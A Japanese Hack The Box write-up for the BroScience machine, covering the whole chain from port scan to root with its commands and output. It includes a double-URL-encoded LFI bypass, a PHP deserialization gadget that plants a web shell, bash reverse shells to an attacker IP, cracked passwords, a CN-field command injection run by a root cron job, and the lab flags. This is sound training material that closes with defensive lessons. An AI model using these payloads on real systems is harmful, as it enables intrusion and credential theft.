Hack The BoxのWriteup(BroScience)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: BroScience — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443、broscience.htb
img.php LFI
二重URLエンコードで検知回避
srand(time()) 予測PRNG
有効化コード総当たり
PHP Object Injection
AvatarInterface::__wakeup()
www-data シェル取得
PostgreSQL ハッシュ
hashcat -m 20
user.txt ✓
openssl CN 二重展開
Bashコマンドインジェクション
root.txt ✓

ポートスキャン

BASH
nmap -p- --min-rate 5000 -oN nmap/allports.txt 10.129.228.129
nmap -sV -sC -p 22,80,443 -oN nmap/initial.txt 10.129.228.129
RESULT
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| ssl-cert: Subject: commonName=broscience.htb
|_http-title: BroScience : Home
BASH
echo "10.129.228.129 broscience.htb" | sudo tee -a /etc/hosts
ℹ️
ジム(筋トレ)をテーマにした Web アプリ「BroScience」。ログイン機能があるが 共通の管理者資格情報は通らず、新規登録すると「アクティベーションメールを 送信した」というメッセージのみで、実際のメールにはアクセスできない。
PHASE 2

img.php の LFI & アクティベーションコードの予測

img.php の Local File Inclusion 発見

NOTE
ページのソースを見ると画像は includes/img.php?path=bench.png のように
呼び出されており、path パラメータへ任意パスを指定できる可能性がある。
BASH
curl -k 'https://broscience.htb/includes/img.php?path=../../../../../../etc/passwd'
RESULT
<b>Error:</b> Attack detected.
⚠️
単純なパストラバーサルは検知フィルターにブロックされる。二重 URL エンコード (..%252F) でフィルターを回避できる。
BASH
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd' | grep -e '/bin/bash'
RESULT
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

アプリソースの取得 & utils.php の解析

BASH
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252Fincludes%252Futils.php'
NOTE (utils.php 抜粋)
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
🚨
重要発見: アクティベーションコードの生成に srand(time()) という予測可能な PHP 疑似乱数生成器が使われている。 サーバー時刻(unix epoch)さえ分かれば、同じロジックをローカルで再現して コードを事前に計算できる。

アカウント登録 & サーバー時刻の取得

NOTE
新規登録リクエストを送信し、レスポンスの Date ヘッダーからサーバー時刻を
取得する(BurpSuite等でインターセプト)。今回は Date: Mon, 09 Jan 2023 12:48:18 GMT
→ unix epoch 1673269358。
PYTHON (再現用PHPスクリプト呼び出し)
<?php
function generate_activation_code($t) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($t);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
$t_start = (int)$argv[1];
for ($t = $t_start - 5; $t <= $t_start + 5; $t++) {
    echo generate_activation_code($t) . "\n";
}
?>
BASH
php generate_activation_code.php 1673269358 | tee activation_codes.txt
ℹ️
PHP のバージョン依存に注意: PHP 7.1 以降の mt_rand()系実装は シード処理が変わっているため、Python での再実装はリスクが高い。実際に ターゲットで動いているのと同じ php CLI をそのまま呼び出して ロジックを忠実に再現するのが安全。サーバー時刻の誤差を考慮し ±5秒 の 候補コードを生成する。

ffuf で有効化コードを総当たり

BASH
ffuf -w activation_codes.txt -u 'https://broscience.htb/activate.php?code=FUZZ' -k --fs 1256
RESULT
V8iBG2noBR7NKzPtGH1DwU0LtGhuEfcf [Status: 200, Size: 1251, ...]
アカウント有効化成功! 候補11個のうち1個がヒットし、 登録したアカウントでログインできるようになった。
PHASE 3

PHP Object Injection (AvatarInterface ガジェットチェーン)

user-prefs Cookie のシリアライズオブジェクトを発見

NOTE (utils.php 抜粋)
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));   // ← 検証なし unserialize()
        return $up->theme;
    }
    ...
}

class Avatar {
    public $imgPath;
    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));   // $tmp を読み $imgPath へ書く
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;
    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);   // unserialize() 直後に自動発火
    }
}
🚨
脆弱性の核心: ログイン中の user-prefs Cookie は 検証なしで unserialize() される。AvatarInterface をシリアライズしてこの Cookie に仕込むと、デシリアライズ直後に __wakeup()Avatar::save()が発火し、 任意ファイルのコピー($tmpから読んで $imgPathへ書く)が可能になる。

ユーザー名を PHP ペイロードに変更

NOTE
PHP のセッションファイルにはユーザー名などのセッション変数がそのまま
平文で保存される。ユーザー名を Webシェルのコードに変更しておけば、
セッションファイル自体を Webルート配下に .php としてコピーするだけで
コード実行が成立する。
BASH (Edit User フォームから)
# Edit User フォーム(実際のエンドポイントは update_user.php、
# hidden の id フィールドで自分の user id を指定する必要がある)
# New username に以下を入力して送信:
<?=exec($_GET[melo])?>
⚠️
ハマりどころ: Edit User フォームの実際の POST 先は 画面上は明示されておらず、ページソースを確認すると <form method="POST" action="update_user.php">で、 hidden の id フィールド(ログイン中ユーザー自身の user id)も一緒に送信しないと、どのユーザーを更新すべきか判別できず 更新が反映されない。また更新後の表示名はナビバーで htmlspecialchars()相当のエスケープがかかるため、 画面上は正しく<?=...?>と見えても生 HTML 上では &lt;?=...?&gt;になる点に注意(実際のPHPセッション ファイルには生の文字列がそのまま保存されるため実害はない)。
BASH
# PHPSESSID を Cookie から確認 (例: 3g99o1tq6tmfaate6didfqev0o)

PHP Object Injection ペイロードの作成

PHP
<?php
class Avatar {
    public $imgPath;
    public function __construct($imgPath) { $this->imgPath = $imgPath; }
    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}
class AvatarInterface {
    public $tmp;
    public $imgPath;
    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
$a = new AvatarInterface();
$a->tmp = "/var/lib/php/sessions/sess_3g99o1tq6tmfaate6didfqev0o";
$a->imgPath = "/var/www/html/cmd.php";
echo base64_encode(serialize($a)) . "\n";
?>
BASH
php serialise_payload.php
RESULT
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czo1MzoiL3Zhci9saWIvcGhwL3Nlc3Npb25zL3Nlc3NfM2c5OW8xdHE2dG1mYWF0ZTZkaWRmcWV2MG8iO3M6NzoiaW1nUGF0aCI7czoyMToiL3Zhci93d3cvaHRtbC9jbWQucGhwIjt9

Cookie を差し替えてガジェットチェーンを発火

BASH
# ホームページへのリクエストを Burp 等で拦截し、user-prefs Cookie を
# 上記の base64 ペイロードに置き換えてフォワードする
BASH (確認)
curl -k https://broscience.htb/cmd.php
RESULT
id|s:1:"6";username|s:22:"";is_admin|s:1:"0";
ファイルコピー成功! PHP セッションファイルの内容が cmd.php としてそのままコピーされた(この時点では ユーザー名部分が空 — 反映タイミングにより多少ずれる場合がある)。
BASH
curl -k https://broscience.htb/cmd.php?melo=id
RESULT
id|s:1:"6";username|s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)";is_admin|s:1:"0";
RCE成功! cmd.php?melo=<コマンド>で 任意コマンドを実行できる Webシェルが設置された。

リバースシェルの取得

BASH
nc -nvlp 4444
BASH (URLエンコード済みペイロード)
curl -k "https://broscience.htb/cmd.php?melo=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.28%2F4444%200%3E%261%27"
RESULT
connect to [10.10.14.28] from (UNKNOWN) [10.129.228.129] 59440
www-data@broscience:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH (TTY化)
python3 -c 'import pty;pty.spawn("/bin/bash")';
PHASE 4

DB 資格情報の窃取 & user.txt

db_connect.php から PostgreSQL 資格情報を取得

BASH
www-data@broscience:/var/www/html$ cat includes/db_connect.php
RESULT
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

PostgreSQL 接続 & users テーブルのダンプ

BASH
psql -h localhost -p 5432 --username=dbuser -W broscience
# Password: RangeOfMotion%777

broscience=> select username,password from users;
RESULT
   username    |              password
----------------+----------------------------------
 administrator  | 15657792073e8a843d4f91fc403454e1
 bill           | 13edad4932da9dbb57d9cd15b66ed104
 michael        | bd3dad50e2d578ecba87d5fa15ca5f85
 john           | a7eed23a7be6fe0d765197b1027453fe
 dmytro         | 5d15340bded5b9395d5d14b9c21bc82b
ℹ️
パスワードは MD5(password + salt) で、salt は db_connect.php に記載の NaCl

hashcat -m 20 (md5($pass.$salt)) でクラック

BASH
# hashes.txt: :NaCl の形式で保存
hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
3件クラック成功。ホームディレクトリを持つのは bill のみ (他は Web アプリ上だけのアカウント)のため、bill:iluvhorsesandgym で SSH ログインを試みる。

SSH ログイン & user.txt 取得

BASH
ssh bill@10.129.228.129
# Password: iluvhorsesandgym

bill@broscience:~$ cat user.txt
RESULT
uid=1000(bill) gid=1000(bill) groups=1000(bill)
2f57317e0a2c1bd89522c142f4f7fa80
user.txt — bill@broscience
2f57317e0a2c1bd89522c142f4f7fa80
PHASE 5

pspy によるプロセス監視 & cronjob の発見

pspy でバックグラウンドプロセスを監視

BASH
bill@broscience:/tmp$ ./pspy64
RESULT
2023/01/10 04:14:01 CMD: UID=0  PID=29438  | /usr/sbin/CRON -f
2023/01/10 04:14:01 CMD: UID=0  PID=29440  | /bin/bash /root/cron.sh
2023/01/10 04:14:01 CMD: UID=0  PID=29442  | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
⚠️
pspy はタイミングによって不安定になることがある。ハングした場合は Ctrl+Z で一時停止して --debug オプション付きで再実行するとよい。

/opt/renew_cert.sh のソース解析

NOTE (renew_cert.sh 抜粋)
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
    echo "No need to renew yet."
    exit 1
fi
...
commonName=$(openssl x509 -in $1 -noout -subject | ...)  # CN を抽出
...
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
🚨
脆弱性の核心: 証明書の Common Name (CN) の値が 検証なしで bash -c "..." の二重展開されるコマンド文字列に 埋め込まれる。外側のダブルクォート文字列内で変数展開された CN の 値に $(...) が含まれていると、内側の bash -c が それを再度コマンド置換として実行してしまう典型的な二重シェル展開の脆弱性。 このスクリプトは /home/bill/Certs/ 配下の証明書を root cron (1分間隔)がチェックし、有効期限が24時間(86400秒)以内に迫っている (=これから切れる)証明書だけを処理する。
PHASE 6

openssl CN 二重展開コマンドインジェクション → root.txt

悪意ある証明書の生成

NOTE
-days 1 を指定してチェックの86400秒以内条件を満たしつつ、CN に
ペイロードを仕込む。ただし openssl の -subj オプションは "/" を
RDN(識別名)の区切り文字として解釈するため、"/dev/tcp/..." のような
スラッシュを含むペイロードを -subj に直接渡すと
"Hit end of string before finding the equals." で失敗する。
対話式プロンプト経由でCNを入力すれば、スラッシュはそのまま1つの
フィールド値として扱われるため問題なく通る。
BASH
bill@broscience:/tmp$ openssl req -x509 -sha256 -nodes -days 1 \
  -newkey rsa:4096 -keyout /dev/null -out broscience.crt

# プロンプトが表示されたら、最初の5項目はEnterでスキップし、
# Common Name の欄に以下を入力:
$(bash -c 'bash -i >& /dev/tcp/10.10.14.28/4444 0>&1')
RESULT
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(bash -c 'bash -i >& /dev/tcp/10.10.14.28/4444 0>&1')
Email Address []:

証明書を配置し cron 実行を待つ

BASH
bill@broscience:/tmp$ mkdir -p /home/bill/Certs
mv broscience.crt /home/bill/Certs/broscience.crt

# 別ターミナルでリスナー起動
nc -nvlp 4444
RESULT (nc リスナー側、最大1分待ち)
listening on [any] 4444 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.228.129] 55922
bash: cannot set terminal process group (29746): Inappropriate ioctl for device
bash: no job control in this shell
root@broscience:~# id
uid=0(root) gid=0(root) groups=0(root)
root権限取得成功! root cron が renew_cert.shを 実行 → CN の値を bash -c "mv ... $commonName.crt"へ埋め込む際、 $commonNameに含まれる $(...)が二重展開されて root権限でリバースシェルが実行された。
BASH
root@broscience:~# cat /root/root.txt
RESULT
0a5770b850c3044238833959d8199069
root.txt — root@broscience
0a5770b850c3044238833959d8199069
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — bill@broscience
2f57317e0a2c1bd89522c142f4f7fa80
root.txt — root@broscience
0a5770b850c3044238833959d8199069

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LFI (フィルター回避) includes/img.php ソースコード漏洩 Medium 二重URLエンコードでパストラバーサル検知フィルターを回避しutils.php等を読取
予測可能PRNG アカウント有効化コード生成 認証バイパス High srand(time())をサーバーDate ヘッダーから逆算し候補コードを総当たり
PHP Object Injection user-prefs Cookie (unserialize) リモートコード実行 (www-data) Critical AvatarInterface::__wakeup()ガジェットでPHPセッションファイルをWebルートへコピーしWebシェル化
openssl CN 二重展開コマンドインジェクション /opt/renew_cert.sh (rootのcron) 権限昇格 (root) Critical 証明書CNに$(...)を仕込み、bash -c の二重展開で任意コマンドをroot権限実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + BroScience Webアプリ発見22/80/443、broscience.htb
2LFI + PRNG予測二重URLエンコード + srand(time())再現utils.php漏洩、アクティベーションコード的中
3PHP Object InjectionAvatarInterfaceガジェット + セッションファイル窃取www-data Webシェル/リバースシェル
4権限昇格1DB資格情報 + hashcat -m 20user.txt (bill:iluvhorsesandgym)
5下調べpspy によるcronjob発見/opt/renew_cert.shの脆弱性発見
6権限昇格2openssl CN二重展開インジェクションroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
LFI検知フィルターが単純なパストラバーサル文字列しかブロックせず、二重URLエンコードで容易に回避できる ホワイトリスト方式でファイル名を検証し、パス正規化(realpath等)後に許可ディレクトリ内かを確認する。
セキュリティ用途のトークン生成に予測可能なPRNG(srand(time()))を使用 random_bytes()やrandom_int()等の暗号学的に安全な乱数生成関数を使用する。
ユーザー制御可能なCookieを検証なしでunserialize()している 信頼できない入力に対してunserialize()を使わない。JSON等の安全なシリアライズ形式を使用する。
証明書のCommon Nameのようなユーザー/外部由来の値を検証せずシェルコマンド文字列に二重展開の形で埋め込んでいる シェルコマンドへの変数埋め込みを避け、配列引数形式のAPI(execve系)を使う。どうしても文字列結合が必要な場合は厳格な入力検証とエスケープを行う。
HackTheBox: BroScience | 完全攻略レポート